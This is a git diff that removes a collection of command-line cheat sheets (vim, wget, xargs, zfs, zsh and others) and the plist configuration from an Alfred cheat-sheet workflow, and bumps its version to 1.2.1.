sudo diff --git a/assets/cheatsheets/vagrant b/assets/cheatsheets/vagrant deleted file mode 100644 index c89d2ae..0000000 --- a/assets/cheatsheets/vagrant +++ /dev/null @@ -1,23 +0,0 @@ -# To initate Vagrant: -vagrant init - -# To add a box to a vagrant repo: -vagrant box add hashicorp/precise32 - -# To start a vm: -vagrant up - -# To connect to a running instance: -vagrant ssh - -# To shut down a vm: -vagrant halt - -# To hibernate a vm: -vagrant suspend - -# To set a vm to its initial state by cleaning all data: -vagrant destroy - -# To restart a vm with a new provision script: -vagrant reload --provision diff --git a/assets/cheatsheets/vim b/assets/cheatsheets/vim deleted file mode 100644 index c46d15e..0000000 --- a/assets/cheatsheets/vim +++ /dev/null @@ -1,120 +0,0 @@ ---- -tags: [ vim ] ---- - -# File management - -:e reload file -:q quit -:q! quit without saving changes -:w write file -:w {file} write new file -:x write file and exit - -# Movement - - k - h l basic motion - j - -w next start of word -W next start of whitespace-delimited word -e next end of word -E next end of whitespace-delimited word -b previous start of word -B previous start of whitespace-delimited word -0 start of line -$ end of line -gg go to first line in file -G go to end of file -gk move down one displayed line -gj move up one displayed line - -# Insertion -# To exit from insert mode use Esc or Ctrl-C -# Enter insertion mode and: - -a append after the cursor -A append at the end of the line -i insert before the cursor -I insert at the beginning of the line -o create a new line under the cursor -O create a new line above the cursor -R enter insert mode but replace instead of inserting chars -:r {file} insert from file - -# Editing - -u undo -yy yank (copy) a line -y{motion} yank text that {motion} moves over -p paste after cursor -P paste before cursor - or x delete a character -dd delete a line -d{motion} delete text that {motion} moves over - -# Search and replace with the `:substitute` (aka `:s`) command - -:s/foo/bar/ replace the first match of 'foo' with 'bar' on the current line only -:s/foo/bar/g replace all matches (`g` flag) of 'foo' with 'bar' on the current line only -:%s/foo/bar/g replace all matches of 'foo' with 'bar' in the entire file (`:%s`) -:%s/foo/bar/gc ask to manually confirm (`c` flag) each replacement - -# Preceding a motion or edition with a number repeats it 'n' times -# Examples: -50k moves 50 lines up -2dw deletes 2 words -5yy copies 5 lines -42G go to line 42 - -# Multiple windows -:e filename - edit another file -:split filename - split window and load another file -ctrl-w up arrow - move cursor up a window -ctrl-w ctrl-w - move cursor to another window (cycle) -ctrl-w_ - maximize current window -ctrl-w= - make all equal size -10 ctrl-w+ - increase window size by 10 lines -:vsplit file - vertical split -:sview file - same as split, but readonly -:hide - close current window -:only - keep only this window open -:ls - show current buffers -:.! - shell out - -# Buffers -# move to N, next, previous, first last buffers -:bn - goes to next buffer -:bp - goes to prev buffer -:bf - goes to first buffer -:bl - goes to last buffer -:b 2 - open buffer #2 in this window -:new - open a new buffer -:vnew - open a new vertical buffer -:bd 2 - deletes buffer 2 -:wall - writes all buffers -:ball - open a window for all buffers -:bunload - removes buffer from window -:taball - open a tab for all buffers - -# Pointers back -ctrl-o - -# Pointers forward -ctrl-o - -# Super search -ctrl-p - -# To sort a visual range on column 1 as a number: -:'<,'>!sort -gk 1 -t , - -# Map (in normal mode) the F2 key to a bash call `uuidgen`, then trim the `\n` -# from the result, and put that in the expression register `"=`, then put that -# before the cursor: -nmap "= system("uuidgen")[:-2]P - -# Delete every line that has a FOO in it. See `:help global`. -# The _ in the d _ command ensures registers and clipboards are not changed. -:g/FOO/d _ diff --git a/assets/cheatsheets/virtualenv b/assets/cheatsheets/virtualenv deleted file mode 100644 index cc25ce7..0000000 --- a/assets/cheatsheets/virtualenv +++ /dev/null @@ -1,35 +0,0 @@ -# To create a new environment: -virtualenv /path/to/project/env_name - -# To create a new environment and inherit already installed Python libraries: -virtualenv --system-site-package /path/to/project/env_name - -# To create a new environment with a given Python interpreter: -virtualenv /path/to/project/env_name -p /usr/bin/python/3.4 - -# To activate an environnment: -source /path/to/project/env_name/bin/activate - -# To quit an environment: -deactivate - -# To Virtualenvwrapper (wrapper for virtualenv) installation: -pip install --user virtualenvwrapper -# configuration -# add in ~/.bashrc or similar -export WORKON_HOME=~/.virtualenvs -mkdir -p $WORKON_HOME -source ~/.local/bin/virtualenvwrapper.sh - -# To create a new environmment (with virtualenvwrapper) -mkvirtualenv env_name -# new environmment is stored in ~/.virtualenvs - -# To activate environmment (with virtualenvwrapper) -workon env_name - -# To quit environmment (with virtualenvwrapper) -deactivate - -# To delete environmment (with virtualenvwrapper) -rmvirtualenv env_name diff --git a/assets/cheatsheets/wc b/assets/cheatsheets/wc deleted file mode 100644 index 9d870b4..0000000 --- a/assets/cheatsheets/wc +++ /dev/null @@ -1,18 +0,0 @@ -# To count the number of words (file or STDIN): -wc -w -cat | wc -w - -# To count the number of lines (file or STDIN): -wc -l -cat | wc -l - -# To count the number of bytes (file or STDIN): -wc -c -cat | wc -c - -# To count files and directories at a given location: -ls | wc -l - -# To if you ever use `wc` in a shell script and need to compare the output with an int you can -# clean the output (wc returns extra characters around the integer) by using xargs: -ls -l | wc -l | xargs diff --git a/assets/cheatsheets/weechat b/assets/cheatsheets/weechat deleted file mode 100644 index 3ee817a..0000000 --- a/assets/cheatsheets/weechat +++ /dev/null @@ -1,20 +0,0 @@ -# To set an unread marker on all windows: -Ctrl-s Ctrl-u - -# To switch to the left buffer: -Ctrl-p, Alt-left - -# To switch to the right buffer: -Ctrl-n, Alt-right - -# To switch to the next buffer with activity: -Alt-a - -# To switch buffers: -Alt-0...9 - -# To scroll buffer title: -F9/F10 - -# To scroll nick list: -F11/F12 diff --git a/assets/cheatsheets/wget b/assets/cheatsheets/wget deleted file mode 100644 index 301de5d..0000000 --- a/assets/cheatsheets/wget +++ /dev/null @@ -1,38 +0,0 @@ -# To download : -wget -# -# To download multiples files with multiple URLs: -wget ... - -# To download and change its name: -wget -O - -# To download into : -wget -P - -# To continue an aborted downloaded: -wget -c - -# To parse a file that contains a list of URLs to fetch each one: -wget -i url_list.txt - -# To mirror a whole page locally: -wget -pk - -# To mirror a whole site locally: -wget -mk - -# To download files according to a pattern: -wget http://example.com/files-{1..15}.tar.bz2 - -# To download all the files in a directory with a specific extension if directory indexing is enabled: -wget -r -l1 -A.extension http://example.com/directory - -# To download only response headers (-S --spider) and display them on stdout (-O -).: -wget -S --spider -O - - -# To change the User-Agent to 'User-Agent: toto': -wget -U 'toto' - -# To download a file with specific speed EX:500kb/sec: -wget --limit-rate=500k diff --git a/assets/cheatsheets/wmctrl b/assets/cheatsheets/wmctrl deleted file mode 100644 index c722f37..0000000 --- a/assets/cheatsheets/wmctrl +++ /dev/null @@ -1,20 +0,0 @@ -# CLI for X Window Manager. -# More information: https://manned.org/wmctrl. - -# List all windows, managed by the window manager: -wmctrl -l - -# Switch to the first window whose (partial) title matches: -wmctrl -a window_title - -# Move a window to the current workspace, raise it and give it focus: -wmctrl -R window_title - -# Switch to a workspace: -wmctrl -s workspace_number - -# Select a window and toggle fullscreen: -wmctrl -r window_title -b toggle,fullscreen - -# Select a window a move it to a workspace: -wmctrl -r window_title -t workspace_number diff --git a/assets/cheatsheets/xargs b/assets/cheatsheets/xargs deleted file mode 100644 index b4a3ace..0000000 --- a/assets/cheatsheets/xargs +++ /dev/null @@ -1,16 +0,0 @@ -# To Find all file name ending with .pdf and remove them -find -name *.pdf | xargs rm -rf - -# if file name contains spaces you should use this instead -find -name *.pdf | xargs -I{} rm -rf '{}' - -# Will show every .pdf like: -# &toto.pdf= -# &titi.pdf= -# -n1 => One file by one file. ( -n2 => 2 files by 2 files ) - -find -name *.pdf | xargs -I{} -n1 echo '&{}=' - -# If find returns no result, do not run rm -# This option is a GNU extension. -find -name "*.pdf" | xargs --no-run-if-empty rm diff --git a/assets/cheatsheets/xmlto b/assets/cheatsheets/xmlto deleted file mode 100644 index 09d4989..0000000 --- a/assets/cheatsheets/xmlto +++ /dev/null @@ -1,14 +0,0 @@ -# To convert DocBook XML to PDF -xmlto pdf mydoc.xml - -# To convert DocBook XML to HTML -xmlto -o html-dir html mydoc.xml - -# To convert DocBook XML to single HTML file -xmlto html-nochunks mydoc.xml - -# To modify output with XSL override -xmlto -m ulink.xsl pdf mydoc.xml - -# To use non-default xsl -xmlto -x mystylesheet.xsl pdf mydoc.xml diff --git a/assets/cheatsheets/xrandr b/assets/cheatsheets/xrandr deleted file mode 100644 index 01589f7..0000000 --- a/assets/cheatsheets/xrandr +++ /dev/null @@ -1,11 +0,0 @@ -# To enable HDMI2 output with maximal resolution: -xrandr --output HDMI2 --auto - -# To enable HDMI2 output with specific resolution: -xrandr --output HDMI2 --mode 1280x800 - -# To enable HDMI2 output next to HDMI1 output: -xrandr --output HDMI2 --auto --right-of HDMI1 - -# To disable HDMI2 output: -xrandr --output HDMI2 --off diff --git a/assets/cheatsheets/xxd b/assets/cheatsheets/xxd deleted file mode 100644 index 075b1e9..0000000 --- a/assets/cheatsheets/xxd +++ /dev/null @@ -1,7 +0,0 @@ -# To convert bin/string to hex: -echo '42 is the solution' | xxd -p -# output: 34322069732074686520736f6c7574696f6e0a - -# To convert hex to bin/string: -echo '34322069732074686520736f6c7574696f6e0a' | xxd -r -p -# output: 42 is the solution diff --git a/assets/cheatsheets/yaourt b/assets/cheatsheets/yaourt deleted file mode 100644 index 4d742f2..0000000 --- a/assets/cheatsheets/yaourt +++ /dev/null @@ -1,26 +0,0 @@ ---- -tags: [ packaging ] ---- -# All pacman commands are working the same way with yaourt. -# Just check the pacman cheatsheet. -# For instance, to install a package: -pacman -S -yaourt -S -# The difference is that yaourt will also query the Arch User Repository, -# and if appropriate, donwload the source and build the package requested. - -# Here are the commands yaourt provides while pacman doesn't : - -# To search for and install it: -yaourt - -# To update the local package base and upgrade all out of date package, -# including the ones from AUR and the packages based on development repos (git, -# svn, hg...) -yaourt -Suya --devel - -# For all of the above commands, if you want yaourt to stop asking constantly for confirmations, -use the option --noconfirm - -# To build from source: -yaourt -Sb diff --git a/assets/cheatsheets/youtube-dl b/assets/cheatsheets/youtube-dl deleted file mode 100644 index 1c6a278..0000000 --- a/assets/cheatsheets/youtube-dl +++ /dev/null @@ -1,23 +0,0 @@ -# To download a video in 720p MP4: -youtube-dl -f 22 example.com/watch?v=id - -# To download a video in 720p MP4 or WebM or FLV: -youtube-dl -f 22/45/120 - -# To list all available formats of a video: -youtube-dl -F example.com/watch?v=id - -# To download a video to /$uploader/$date/$title.$ext: -youtube-dl -o '%(uploader)s/%(date)s/%(title)s.%(ext)s' example.com/watch?v=id - -# To download a video playlist starting from a certain video: -youtube-dl --playlist-start 5 example.com/watch?v=id&list=listid - -# To simulate a download with youtube-dl: -youtube-dl -s example.com/watch?v=id - -# To download audio in mp3 format with best quality available -youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id - -# For all video formats see link below (unfold "Comparison of YouTube media encoding options") -# https://en.wikipedia.org/w/index.php?title=YouTube&oldid=723160791#Quality_and_formats diff --git a/assets/cheatsheets/yum b/assets/cheatsheets/yum deleted file mode 100644 index b86ed33..0000000 --- a/assets/cheatsheets/yum +++ /dev/null @@ -1,34 +0,0 @@ ---- -tags: [ packaging ] ---- -# To install the latest version of a package: -yum install - -# To perform a local install: -yum localinstall - -# To remove a package: -yum remove - -# To search for a package: -yum search - -# To find what package installs an executable: -yum whatprovides - -# To find the dependencies of a package: -yum deplist - -# To find information about a package: -yum info - -# List currently enabled repositories: -yum repolist - -# List packages matching : -yum list - -# To download the source RPM for a package: -yumdownloader --source - -# (You have to install yumdownloader first, which is installed by the yum-utils package) diff --git a/assets/cheatsheets/z b/assets/cheatsheets/z deleted file mode 100644 index d37dfdc..0000000 --- a/assets/cheatsheets/z +++ /dev/null @@ -1,14 +0,0 @@ -# To `cd` to most frecent dir matching `foo`: -z foo - -# To `cd` to most frecent dir matching `foo`, then `bar`: -z foo bar - -# To `cd` to highest ranked dir matching `foo`: -z -r foo - -# To `cd` to most recently accessed dir matching `foo`: -z -t foo - -# To list all dirs matching `foo` - by frecency: -z -l foo diff --git a/assets/cheatsheets/zfs b/assets/cheatsheets/zfs deleted file mode 100644 index 845c079..0000000 --- a/assets/cheatsheets/zfs +++ /dev/null @@ -1,126 +0,0 @@ -# WARNING: -# In order to avoid headaches when moving ZFS physical devices around, -# one will be much better served to reference devices by their *immutable* -# ID - as in /dev/disk/by-id/* - rather than their block device name - -# as in /dev/{sd,nvme}* - which is bound to change as per PCI enumeration -# order. -# For the sake of briefness, we'll use the following variables: -# ${device} device (/dev/disk/by-id/${device}) -# ${part} partition (/dev/disk/by-id/${part=${device}-part${N}}) -# ${pool} ZFS pool (name) -# ${fs_vol} ZFS file system or volume (name) -# ${snapshot} ZFS snapshot (name) - - -## Pools - -# Create a new "RAID-5" (raidz1) pool -# Recommended: use entire devices rather than partitions -zpool create ${pool} raidz1 ${device} ${device} ${device} [...] - -# Add 2nd-level "RAID-1" (mirror) ZFS Intent Log (ZIL; synchronous write cache) -# Recommended: use separate, fast, low-latency devices (e.g. NVMe) -zpool add ${pool} log mirror ${part} ${part} - -# Add 2nd-level "RAID-0" Adaptive Replacement Cache (ARC; read cache) -# Recommended: use separate, fast, low-latency devices (e.g. NVMe) -zpool add ${pool} cache ${part} ${part} [...] - -# Remove log or cache components -zpool remove zfs ${part} [...] - -# Import (enable) existing pool from newly connected devices -# Note: this will create the /etc/zfs/zpool.cache devices cache -zpool import -d /dev/disk/by-id -aN - -# Import (enable) existing pool using the devices cache -zpool import -c /etc/zfs/zpool.cache -aN - -# Export (disable) pool (e.g. before shutdown) -zpool export -a - -# List all (imported) pools -zpool list - -# See pool status -zpool status ${pool} - -# See detailed pool I/O statistics -zpool iostat ${pool} -v - -# Verify pool integrity (data checksums) -# (watch progress with 'zpool status') -zpool scrub ${pool} - -# Remove a failing device from a pool -# Note: redundant pools (mirror, raidz) will continue working in degraded state -zpool detach ${pool} ${device} - -# Replace a failed device in a pool -# Note: new device will be "resilvered" automatically (parity reconstruction) -# (watch progress with 'zpool status') -zpool replace ${pool} ${failed-device} ${new-device} - -# Erase zpool labels ("superblock") from a device/partition -# WARNING: MUST do before reusing a device/partition for other purposes -zpool labelclear ${device} - -# Query pool configuration (properties) -zpool get all ${pool} - -# Change pool configuration (property) -zpool set = ${pool} - -# Dump the entire pool (commands) history -zpool history ${pool} - -# More... -man zpool - - -## File systems / Volumes - -# Create a new file system -zfs create ${pool}/${fs_vol} - -# Create a new volume ("block device") -# Note: look for it in /dev/zvol/${pool}/${fs_vol} -zfs create -V ${pool}/${fs_vol} - -# List all file systems / volumes -zfs list - -# Mount all file systems -# Note: see 'zfs get mountpoint ${pool}' for mountpoint root path -zfs mount -a - -# Create a snapshot -zfs snapshot ${pool}/${fs_vol}@${snapshot} - -# Delete a snapshot -zfs destroy ${pool}/${fs_vol}@${snapshot} - -# Full backup -# Note: pipe (|) source to destination through netcat, SSH, etc. -# ... on source: -zfs send -p -R ${pool}/${fs_vol}@${snapshot} -# ... on destination: -zfs receive -F ${pool}/${fs_vol} - -# Incremental backup -# Note: pipe (|) source to destination through netcat, SSH, etc. -# ... on source: -zfs send -p -R -i ${pool}/${fs_vol}@${snapshot-previous} ${pool}/${fs_vol}@${snapshot} -# ... on destination: -zfs receive -F ${pool}/${fs_vol} - -# Query file system / volume configuration (properties) -zfs get all ${pool} -zfs get all ${pool}/${fs_vol} - -# Change file system / volume configuration (property) -zfs set = ${pool}/${fs_vol} - -# More... -man zfs - diff --git a/assets/cheatsheets/zip b/assets/cheatsheets/zip deleted file mode 100644 index af09448..0000000 --- a/assets/cheatsheets/zip +++ /dev/null @@ -1,14 +0,0 @@ -# To create zip file: -zip archive.zip file1 directory/ - -# To create zip file from directory: -zip -r archive.zip directory/ - -# To create zip file with password: -zip -P password archive.zip file1 - -# To join a split zip file (.zip, .z01, .z02, etc): -zip -FF splitZipfile.zip --out joined.zip - -# To list, test and extract zip archives, see unzip: -cheat unzip diff --git a/assets/cheatsheets/zoneadm b/assets/cheatsheets/zoneadm deleted file mode 100644 index b7cec65..0000000 --- a/assets/cheatsheets/zoneadm +++ /dev/null @@ -1,21 +0,0 @@ -# To halt a zone: -zoneadm -z halt - -# To delete a zone : -zoneadm -z halt -zoneadm -z uninstall - -# To verify a zone: -zoneadm -z verify - -# To install a zone: -zoneadm -z install - -# To boot a zone: -zoneadm -z boot - -# To reboot a zone: -zoneadm -z reboot - -# To list zones: -zoneadm list -cv diff --git a/assets/cheatsheets/zsh b/assets/cheatsheets/zsh deleted file mode 100644 index 00d04fa..0000000 --- a/assets/cheatsheets/zsh +++ /dev/null @@ -1,102 +0,0 @@ -# A plain old glob -print -l *.txt -print -l **/*.txt - -# Show text files that end in a number from 1 to 10 -print -l **/*<1-10>.txt - -# Show text files that start with the letter a -print -l **/[a]*.txt - -# Show text files that start with either ab or bc -print -l **/(ab|bc)*.txt - -# Show text files that don't start with a lower or uppercase c -print -l **/[^cC]*.txt - -# Show only directories -print -l **/*(/) - -# Show only regular files -print -l **/*(.) - -# Show empty files -print -l **/*(L0) - -# Show files greater than 3 KB -print -l **/*(Lk+3) - -# Show files modified in the last hour -print -l **/*(mh-1) - -# Sort files from most to least recently modified and show the last 3 -print -l **/*(om[1,3]) - -# `.` show files, `Lm-2` smaller than 2MB, `mh-1` modified in last hour, -# `om` sort by modification date, `[1,3]` only first 3 files -print -l **/*(.Lm-2mh-1om[1,3]) - -# Show every directory that contain directory `.git` -print -l **/*(e:'[[ -d $REPLY/.git ]]':) - -# Return the file name (t stands for tail) -print -l *.txt(:t) - -# Return the file name without the extension (r stands for remove_extension) -print -l *.txt(:t:r) - -# Return the extension -print -l *.txt(:e) - -# Return the parent folder of the file (h stands for head) -print -l *.txt(:h) - -# Return the parent folder of the parent -print -l *.txt(:h:h) - -# Return the parent folder of the first file -print -l *.txt([1]:h) - -# Parameter expansion -files=(*.txt) # store a glob in a variable -print -l $files -print -l $files(:h) # this is the syntax we saw before -print -l ${files:h} -print -l ${files(:h)} # don't mix the two, or you'll get an error -print -l ${files:u} # the :u modifier makes the text uppercase - -# :s modifier -variable="path/aaabcd" -echo ${variable:s/bc/BC/} # path/aaaBCd -echo ${variable:s_bc_BC_} # path/aaaBCd -echo ${variable:s/\//./} # path.aaabcd (escaping the slash \/) -echo ${variable:s_/_._} # path.aaabcd (slightly more readable) -echo ${variable:s/a/A/} # pAth/aaabcd (only first A is replaced) -echo ${variable:gs/a/A/} # pAth/AAAbcd (all A is replaced) - -# Split the file name at each underscore -echo ${(s._.)file} - -# Join expansion flag, opposite of the split flag. -array=(a b c d) -echo ${(j.-.)array} # a-b-c-d - -# Short if -if [[ ... ]] command -if [[ ... ]] { command ... } - -# Short for -for i ( word ... ) command -for i ( word ... ) { command ... } -for i in word ... ; command - -# Short while/until -while [[ ... ]] { command ... } -until [[ ... ]] { command ... } - -# Use output of command, when using pipe is not possible -<( command ) - -# Similar to <( ), but creates temporary file (instead of FD or FIFO), when -# program needs to seek in output. -=( command ) diff --git a/icon.png b/assets/icon.png similarity index 100% rename from icon.png rename to assets/icon.png diff --git a/info.plist b/info.plist deleted file mode 100644 index 3bc32fa..0000000 --- a/info.plist +++ /dev/null @@ -1,243 +0,0 @@ - - - - - bundleid - com.wayneyao.cheat - connections - - 5C498F63-6E9D-4A07-B42A-727B78BE3825 - - - destinationuid - 92C80F9D-D58C-469A-9534-FCEC27394F49 - modifiers - 0 - modifiersubtext - - vitoclose - - - - destinationuid - 01426939-712C-4E7E-A86C-41FB76D04041 - modifiers - 0 - modifiersubtext - - vitoclose - - - - 8D97B77C-E924-4B74-84F8-DCD90968EEAA - - - destinationuid - A6FA6395-A792-4367-9D59-7B4619B74892 - modifiers - 0 - modifiersubtext - - vitoclose - - - - A6FA6395-A792-4367-9D59-7B4619B74892 - - - createdby - Wayne Yao - description - Manage your self-defined cheat sheets & knowledge base in Alfred - disabled - - name - Cheat - objects - - - config - - autopaste - - clipboardtext - {query} - ignoredynamicplaceholders - - transient - - - type - alfred.workflow.output.clipboard - uid - 92C80F9D-D58C-469A-9534-FCEC27394F49 - version - 3 - - - config - - alfredfiltersresults - - alfredfiltersresultsmatchmode - 0 - argumenttreatemptyqueryasnil - - argumenttrimmode - 1 - argumenttype - 1 - escaping - 102 - keyword - cheat - queuedelaycustom - 1 - queuedelayimmediatelyinitially - - queuedelaymode - 2 - queuemode - 1 - runningsubtext - wait a sec... - script - export PATH="/opt/homebrew/bin:/usr/local/bin:${PATH}" -python3 cheat.py "{query}" - scriptargtype - 0 - scriptfile - - subtext - - title - Search through your personal cheat sheets - type - 0 - withspace - - - type - alfred.workflow.input.scriptfilter - uid - 5C498F63-6E9D-4A07-B42A-727B78BE3825 - version - 3 - - - config - - lastpathcomponent - - onlyshowifquerypopulated - - removeextension - - text - command "{query}" pasted - title - Success - - type - alfred.workflow.output.notification - uid - 01426939-712C-4E7E-A86C-41FB76D04041 - version - 1 - - - config - - argumenttype - 0 - keyword - cf - subtext - e.g. /Users/wayne/.cheat or ~/.cheat - text - Configure your cheat sheet directory - withspace - - - type - alfred.workflow.input.keyword - uid - 8D97B77C-E924-4B74-84F8-DCD90968EEAA - version - 1 - - - config - - concurrently - - escaping - 102 - script - export PATH="/opt/homebrew/bin:/usr/local/bin:${PATH}" -python3 config.py "{query}" - scriptargtype - 0 - scriptfile - - type - 0 - - type - alfred.workflow.action.script - uid - A6FA6395-A792-4367-9D59-7B4619B74892 - version - 2 - - - readme - Refer to github https://github.com/wx-Yao/Alfred-cheat for details. - uidata - - 01426939-712C-4E7E-A86C-41FB76D04041 - - xpos - 470 - ypos - 160 - - 5C498F63-6E9D-4A07-B42A-727B78BE3825 - - xpos - 165 - ypos - 90 - - 8D97B77C-E924-4B74-84F8-DCD90968EEAA - - xpos - 165 - ypos - 305 - - 92C80F9D-D58C-469A-9534-FCEC27394F49 - - xpos - 465 - ypos - 15 - - A6FA6395-A792-4367-9D59-7B4619B74892 - - xpos - 480 - ypos - 305 - - - userconfigurationconfig - - variablesdontexport - - version - 1.2.1 - webaddress - https://github.com/wx-Yao - - diff --git a/setup.cfg b/setup.cfg deleted file mode 100644 index 81ffe7f..0000000 --- a/setup.cfg +++ /dev/null @@ -1,2 +0,0 @@ -[install] -prefix= diff --git a/version b/version index 26aaba0..6085e94 100644 --- a/version +++ b/version @@ -1 +1 @@ -1.2.0 +1.2.1